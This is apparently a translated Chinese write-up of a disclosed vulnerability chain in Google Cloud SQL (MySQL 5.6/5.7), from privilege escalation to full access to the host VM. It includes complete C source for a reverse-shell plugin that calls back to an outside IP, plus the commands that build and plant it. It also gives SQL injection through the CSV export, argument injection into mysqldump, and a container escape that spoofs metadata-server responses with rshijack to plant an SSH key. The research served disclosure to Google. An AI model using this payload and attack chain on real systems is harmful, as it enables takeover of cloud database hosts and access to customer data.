在云SQL上獲取shell
Google Cloud SQL
Google Cloud SQL是一個完全托管在云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。對于有更高要求的用戶來說它還可以輕松擴展、復制或配置高可用性。用戶可以專注于使用數據庫,而不用處理前面提到的所有復雜任務。可以使用命令行或應用程序訪問Cloud SQL 數據庫。這篇文章主要講述的是我們在 Cloud SQL 的 MySQL 5.6 和 5.7 版本中發現的漏洞。
托管 MySQL 實例的限制
由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。例如用戶沒有SUPER和FILE權限。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。當攻擊者獲得這些權限的時候,就可以輕松的攻破服務器。
此外,因為存在防火墻,所以默認情況下無法從公網訪問3306端口的mysql服務。當用戶使用gcloud客戶端(gcloud sql connect)連接 MySQL 時,用戶的 ip 地址會臨時添加到允許連接的主機白名單中。
用戶確實可以訪問“root”@“%”帳戶。在 MySQL 中,用戶由用戶名和主機名定義,在這種情況下,用戶“root”可以從任何主機(“%”)進行連接。
提 權
通過SQL注入獲得FILE權限
在 Google Cloud 控制臺中,我們可以新建數據庫、創建新用戶,導入、導出數據庫。在查看導出功能時,我們注意到在導出為CSV格式的文件時可以輸入自定義查詢。

因為我們想知道Cloud SQL導出為csv文件的原理,所以故意輸入錯誤的查詢。
“SELECT * FROM evil AND A TYPO HERE”. This query results in the following error: Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND A TYPO HERE INTO OUTFILE '/mysql/tmp/savedata-1589274544663130747.csv' CHARA' at line 1
該錯誤清楚地表明連接到 mysql 進行導出的用戶具有 FILE 權限。它會嘗試選擇數據以將其臨時存儲到/mysql/tmp目錄中,然后再將其導出到存儲桶。當我們從mysql客戶端運行SHOW VARIABLES時,我們注意到/mysql/tmp是secure_file_priv目錄,這意味著/mysql/tmp是允許具有FILE權限的用戶存儲文件的唯一路徑。
通過添加MySQL注釋字符(#),我們可以使用FILE權限執行SQL注入:
SELECT * FROM ourdatabase INTO ‘/mysql/tmp/evilfile’ #
攻擊者現在可以制作惡意數據庫并查詢表的內容,但只能將輸出結果寫入到/mysql/tmp下的文件。到目前為止這看起來還沒什么。
mysqldump中的參數注入
正常情況下數據庫導出的文件是.sql格式的,它是有mysqldump工具轉儲的,從存儲桶打開一個導出數據庫的時候,dump的第一行的信息顯示了命令和版本。
-- MySQL dump 10.13 Distrib 5.7.25, for Linux (x86_64)---- Host: localhost Database: mysql-- -------------------------------------------------------- Server version 5.7.25-google-log
現在我們知道,當我們運行導出工具時,Cloud SQL API 會以某種方式調用 mysqldump 并存儲數據庫,然后再將其移動到存儲桶。
當我們用Burp截獲負責導出的API調用時,我們看到數據庫(在本例中是mysql)被作為參數傳遞:

嘗試將api調用中的數據庫名稱從mysql修改為--help。mysqldump被轉儲到存儲桶中的一個.sql文件中:
mysqldump Ver 10.13 Distrib 5.7.25, for Linux (x86_64)Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved. … Dumping structure and contents of MySQL databases and tables.Usage: mysqldump [OPTIONS] database [tables]OR mysqldump [OPTIONS] --databases [OPTIONS] DB1 [DB2 DB3...]OR mysqldump [OPTIONS] --all-databases [OPTIONS] ... --print-defaults Print the program argument list and exit.--no-defaults Don't read default options from any option file, except for login file.--defaults-file=# Only read default options from the given file #.
然而,對命令注入的測試失敗了,猜測 mysqldump 作為第一個參數傳遞給 execve(),命令注入攻擊變得不可能。
但是,我們現在可以將任意參數傳遞給 mysqldump,如“--help”命令所示。
構建惡意數據庫
在這種情況下,mysqldump提供了參數,其中有兩個看起來有點用,即“--plugin-dir”和“--default-auth”參數。
--plugin-dir參數允許我們傳遞存儲客戶端插件的目錄。--default-auth參數指定了我們想要使用的身份驗證插件。還記得我們可以寫入' /mysql/tmp '嗎?如果我們寫一個惡意插件到' /mysql/tmp ',并加載它與前面提到的mysqldump參數豈不美哉,不過,我們需要做點準備。我們需要一個惡意數據庫,我們可以導入到Cloud SQL,在我們可以導出任何有用的內容到' /mysql/tmp '。我們需要準備在服務器桌面上運行mysql。
首先,我們編寫一個惡意共享對象,它會生成一個反向 shell 到指定的 IP 地址。我們覆蓋 _init 函數:
#include <sys/types.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <unistd.h>#include <fcntl.h>#include <netinet/in.h>#include <netdb.h>#include <arpa/inet.h>#include <netinet/ip.h>
void _init() { FILE * fp; int fd; int sock; int port = 1234;
struct sockaddr_in addr; char * callback = "123.123.123.123"; char mesg[]= "Shell on speckles>\n"; char shell[] = "/bin/sh";
addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(callback); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr*)&addr, sizeof(addr));
send(fd, mesg, sizeof(mesg), 0);
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(shell, "sshd", 0, NULL); close(fd);}
我們用下面的命令把它編譯成一個共享對象:
gcc -fPIC -shared -o evil_plugin.so evil_plugin.c -nostartfiles
在本地運行的數據庫服務器上,我們現在插入evil_plugin.so文件到longblob表:
printf("hello world!");mysql -h localhost -u root
>CREATE DATABASE files>USE files> CREATE TABLE `data` ( `exe` longblob) ENGINE=MyISAM DEFAULT CHARSET=binary;> insert into data VALUES(LOAD_FILE('evil_plugin.so'));
我們的惡意數據庫現在完成了!我們用mysqldump將它導出到一個.sql文件中:
mysqldump -h localhost -u root files > files.sql
接下來,file.sql到存儲桶中。之后,我們在Cloud SQL中創建一個名為“files”的數據庫,并將惡意數據庫轉儲導入其中。
獲取shell
一切準備好了,現在就是將evil_plugin.so寫入到/mysql/tmp,然后通過反彈shell注入--plugin-dir=/mysql/tmp/ --default-auth=evil_plugin 作為mysqldump的參數運行
為了實現這一點,我們再次運行CSV導出功能,這一次針對files數據庫,同時傳遞以下數據作為它的查詢參數:
SELECT * FROM data INTO DUMPFILE '/mysql/tmp/evil_plugin.so' #
現在我們再次對mysql數據庫運行一個常規的導出,并使用Burp修改對API的請求,將正確的參數傳遞給mysqldump:

成功監聽

有趣的發現
在我們開始探索這個環境之后不久,在/mysql/tmp目錄下發現了一個greeting .txt的新文件:

谷歌SRE(Site Reliability Engineering)似乎對我們有影響:似乎在我們嘗試的過程中,我們自己的一些實例崩潰了,這引起了他們的警覺。我們通過電子郵件與SRE取得了聯系,把我們的實驗告訴了他們,他們友好地回復了我們。
然而,我們的實驗并沒有就此結束,因為我們似乎被困在一個Docker容器中,只運行導出數據庫所需的最小值。我們需要容器逃逸,我們需要它很快,SRE知道我們在做什么,現在谷歌可能正在做一個補丁。
逃逸容器
我們可以訪問的容器運行的是無特權的,這意味著沒有容易的逃逸可用。在檢查網絡配置時,我們注意到我們可以訪問eth0,在這種情況下,它帶有容器的內部IP地址。

這是因為容器配置了Docker主機網絡驅動程序(——network=host)。當運行一個沒有任何特權的docker容器時,它的網絡堆棧與主機是隔離的。當您在主機網絡模式下運行容器時,情況就不同了。容器不再獲得自己的IP地址,而是將所有服務直接綁定到主機IP。此外,我們可以攔截主機在eth0上發送和接收的所有網絡通信流(tcpdump -i eth0)。
Google Guest Agent
當你在一個常規的谷歌計算引擎實例上檢查網絡流量時,你會看到很多普通的HTTP請求被定向到169.254.169.254上的元數據實例。發出此類請求的服務之一是谷歌Guest Agent。它默認在你配置的任何GCE實例上運行。下面是它發出請求的一個示例。

谷歌Guest Agen監視元數據的更改。它查找的屬性之一是SSH公鑰。當在元數據中發現一個新的公共SSH密鑰時,客戶代理將把這個公共密鑰寫入用戶的.authorized_key文件,在必要時創建一個新用戶并將其添加到sudoers。
谷歌Guest Agent監視更改的方式是通過調用遞歸地檢索所有元數據值(GET /computeMetadata/v1/?recursive=true),指示元數據服務器只在最后檢索到的元數據值有任何更改時發送響應,該值由其Etag (wait_for_change=true&last_etag=< Etag >)標識。
此請求還包括一個超時(timeout_sec=),因此如果在指定的時間內沒有發生更改,元數據服務器將使用未更改的值進行響應。
執行攻擊
考慮到對主機網絡的訪問和谷歌Guest Agent的行為,我們認為欺騙Metadata服務器的SSH密鑰響應是逃離容器的最簡單方法。
由于ARP欺騙不能在谷歌計算引擎網絡上工作,我們使用我們自己修改的rshijack(diff)[1]版本來發送我們的欺騙響應。
rshijack的這個修改版本允許我們將ACK和SEQ數字作為命令行參數傳遞,這節省了時間,并允許我們在真正的Metadata響應到來之前欺騙響應。
我們還編寫了一個小型Shell腳本[2],該腳本將返回一個特別制作的有效負載,該有效負載將觸發谷歌Guest Agent創建用戶“wouter”,并在其authorized_keys文件中使用我們自己的公鑰。
這個腳本接收ETag作為參數,因為通過保持相同的ETag,元數據服務器不會立即告訴谷歌來賓代理下一個響應的元數據值不同,而是在timeout_sec中等待指定的秒數。
為了實現欺騙,我們使用tcpdump (tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &)監視對元數據服務器的請求,等待如下所示的行:
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
一看到這個值,我們就快速運行rshijack,使用我們的偽元數據響應負載,并ssh連接到主機:
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
大多數時候,我們能夠以足夠快的速度輸入成功的SSH登錄?。
完成之后,我們就擁有了對主機VM的完全訪問權(能夠以root用戶通過sudo執行命令)。
影響和結論
一旦我們轉移到主機VM,我們就能夠完全研究Cloud SQL實例。
這并不像我們預期的那樣令人興奮,因為除了正確執行MySQL和與Cloud SQL API通信所必須的東西之外,主機并沒有太多的東西。
我們的一個有趣的發現是iptables規則,因為當你啟用私有IP訪問(之后不能禁用)時,對MySQL端口的訪問不僅增加了對指定VPC網絡的IP地址的訪問,而是增加了對10.0.0.0/8整個IP范圍的訪問,其中包括其他Cloud SQL實例。
因此,如果客戶啟用了對其實例的私有IP訪問,他們就可能成為攻擊者控制的Cloud SQL實例的目標。如果客戶完全依賴于與外部世界隔離的實例,并且沒有使用正確的密碼保護它,那么這可能很快就會出錯。
此外,谷歌VRP團隊表示了擔憂,因為可能會使用附加到底層計算引擎實例的Cloud SQL服務帳戶來升級IAM權限。